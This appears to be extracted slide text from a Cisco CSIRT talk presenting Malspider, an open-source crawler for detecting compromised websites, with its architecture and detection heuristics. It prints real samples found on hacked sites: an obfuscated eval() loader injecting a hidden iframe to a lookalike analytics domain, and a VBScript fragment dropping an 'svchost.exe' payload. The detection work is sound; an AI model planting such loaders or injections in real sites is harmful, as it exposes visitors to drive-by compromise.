Malspider

Detecting Targeted Web Compromises

James Sheppard
Cisco CSIRT
National Retail Federation

The world’s largest retail trade association.

Our logs showed a redirect to http://google-analytics.eu
This was their **response** to our notification.
“We are unable to identify any risks associated with our website. We’ve run all relevant scans and tools to ensure that our site is safe and checked multiple third party safety and reputation sites which all produced favorable reports. As far as we can tell, there isn’t anything to remediate. Our website runs on Drupal. We’ve also contacted our hosting provider who has ensured us that our site [is] safe.”

– compromised site
Here’s what we found.
http://<url>/sites/all/modules/doctor/js/doctor.comments.js

```
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!"".replace(/\^/,String)){while(c--){d[c.toString(a)]=k[c] || c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('7.8("<26=5:\/\/3-\-4.9\/d a=1 f=1 e=b c=0></\2> "'),16,16,' || iframe|goog1e|ana1ytics|http|src| document|write|eu|width|no|frameborder|tre3|scrolling|height'.split('|'),0,{}))
```

```
<iframe src=http://goog1e-ana1ytics.eu/tre3 width="1" height="1"></iframe>
```
Thousands of legitimate sites are compromised daily.
“Compromised sites are legitimate sites that are hacked to include content from attack sites.” - Google

Source: https://www.google.com/transparencyreport/safebrowsing
“We measure **how quickly webmasters clean up** their sites after receiving notifications that their site has been compromised.”

- Google

Source: https://www.google.com/transparencyreport/safebrowsing
Be proactive, not reactive.
We use Malspider to scan...

- Cisco websites
- Repeatedly visited websites
- Previously/Currently compromised sites
- Sites that may be targeted across various industries
OVER THE PAST 6 MONTHS...

8 million pages crawled
75 million elements analyzed
125 GB of data stored

Malspider discovered or tracked over 30 prominent web compromises in various industries: foreign governments, energy, defense, political research, etc.
Let’s talk about how malspider works.
Architecture

Scrapy

Scheduler

Internet

Requests

Downloader

Downloader Middlewares

Responses

Items

Spider Middlewares

Spiders

Item Pipeline

Requests

Scrappy Engine
Architecture

Scrapy

Scheduler

Internet

Downloader

Downloader Middlewares

Response

Requests

Item Pipeline

Items

Spider Middlewares

Spiders

PhantomJS
Inspecting the DOM

The DOM shows dynamically generated content. Without a headless web driver we wouldn’t see this.
Anonymous Traffic

Outside Proxy

website

website

website
Anonymous Traffic (Preferred)

Load Balance

Outside Proxy (EMEA)

Outside Proxy (US)

Outside Proxy (APAC)

website

website

website
Characteristics of hacked websites.
# Hidden Elements

<table>
<thead>
<tr>
<th>Security Alert</th>
<th>Found on Page</th>
<th>Requested Resource</th>
</tr>
</thead>
<tbody>
<tr>
<td>HIDDEN ELEMENT</td>
<td>&lt;anonymized&gt;.com/recap</td>
<td><a href="http://google-analytics.eu/tre3">http://google-analytics.eu/tre3</a></td>
</tr>
<tr>
<td>HIDDEN ELEMENT</td>
<td>&lt;anonymized&gt;.com/videos</td>
<td><a href="http://google-analytics.eu/tre3">http://google-analytics.eu/tre3</a></td>
</tr>
</tbody>
</table>

**Raw HTML**

```html
<iframe src="http://google-analytics.eu/tre3" width="1" height="1" scrolling="no" frameborder="0"></iframe>
```
Reconnaissance Frameworks

## Security Alerts

### June, 2015

<table>
<thead>
<tr>
<th>Security Alert</th>
<th>Found on Page</th>
<th>Requested Resource</th>
</tr>
</thead>
</table>

Showing 1 to 1 of 1 entries (filtered from 24 total entries)

### April, 2016

<table>
<thead>
<tr>
<th>Security Alert</th>
<th>Found on Page</th>
<th>Requested Resource</th>
</tr>
</thead>
</table>

Showing 1 to 1 of 1 entries (filtered from 80 total entries)
VBScript Injection

```
<script language="VBScript"><!--
DropFileName = "svchost.exe"
WriteData = "4D5A9000030000100000....."
</script>
```
Does your website contain email addresses that can be harvested?
Website Defacement

Compare **SSDEEP hash** of source code with historical spider data

Compare **SSDEEP hash** of screenshot with historical spider data

Look for typical **keywords** (ie.”Hacked by”)
Malspider comes with a web interface.
## Security Alerts

<table>
<thead>
<tr>
<th>Security Alert</th>
<th>Found on Page</th>
<th>Requested Resource</th>
<th>Raw HTML</th>
</tr>
</thead>
<tbody>
<tr>
<td>HIDDEN ELEMENT</td>
<td><a href="http://example.com">URL</a></td>
<td><a href="http://example.com">URL</a></td>
<td>Raw Code</td>
</tr>
<tr>
<td>HIDDEN ELEMENT</td>
<td><a href="http://example.com">URL</a></td>
<td><a href="http://example.com">URL</a></td>
<td>Raw Code</td>
</tr>
<tr>
<td>HIDDEN ELEMENT</td>
<td><a href="http://example.com">URL</a></td>
<td><a href="http://example.com">URL</a></td>
<td>Raw Code</td>
</tr>
<tr>
<td>HIDDEN ELEMENT</td>
<td><a href="http://example.com">URL</a></td>
<td><a href="http://example.com">URL</a></td>
<td>Raw Code</td>
</tr>
<tr>
<td>HIDDEN ELEMENT</td>
<td><a href="http://example.com">URL</a></td>
<td><a href="http://example.com">URL</a></td>
<td>Raw Code</td>
</tr>
<tr>
<td>HIDDEN ELEMENT</td>
<td><a href="http://example.com">URL</a></td>
<td><a href="http://example.com">URL</a></td>
<td>Raw Code</td>
</tr>
<tr>
<td>SCANBOX FRAMEWORK</td>
<td><a href="http://example.com">URL</a></td>
<td><a href="http://example.com">URL</a></td>
<td>Raw Code</td>
</tr>
<tr>
<td>SUSPICIOUS SCRIPT</td>
<td><a href="http://example.com">URL</a></td>
<td><a href="http://example.com">URL</a></td>
<td>Raw Code</td>
</tr>
<tr>
<td>VBSCRIPT INJECTION</td>
<td><a href="http://example.com">URL</a></td>
<td>None</td>
<td>Raw Code</td>
</tr>
<tr>
<td>WEBSHELL INJECTION</td>
<td><a href="http://example.com">URL</a></td>
<td><a href="http://example.com">URL</a></td>
<td>Raw Code</td>
</tr>
</tbody>
</table>

Showing 1 to 10 of 10 entries
<table>
<thead>
<tr>
<th>Security Alert</th>
<th>Found at</th>
<th>Raw HTML</th>
</tr>
</thead>
</table>

Showing 1 to 10 of 10 entries
Malspider can integrate with logging solutions.
And any solution capable of connecting to MySQL.
What’s next?
Future development

• Monitor websites for historical changes
• Download & store malicious payload
• Bug fixes
• General enhancements

We need YOUR help!
https://github.com/ciscoccsrt
malspider@googlegroups.com
jasheppa@cisco.com

Go “git” it.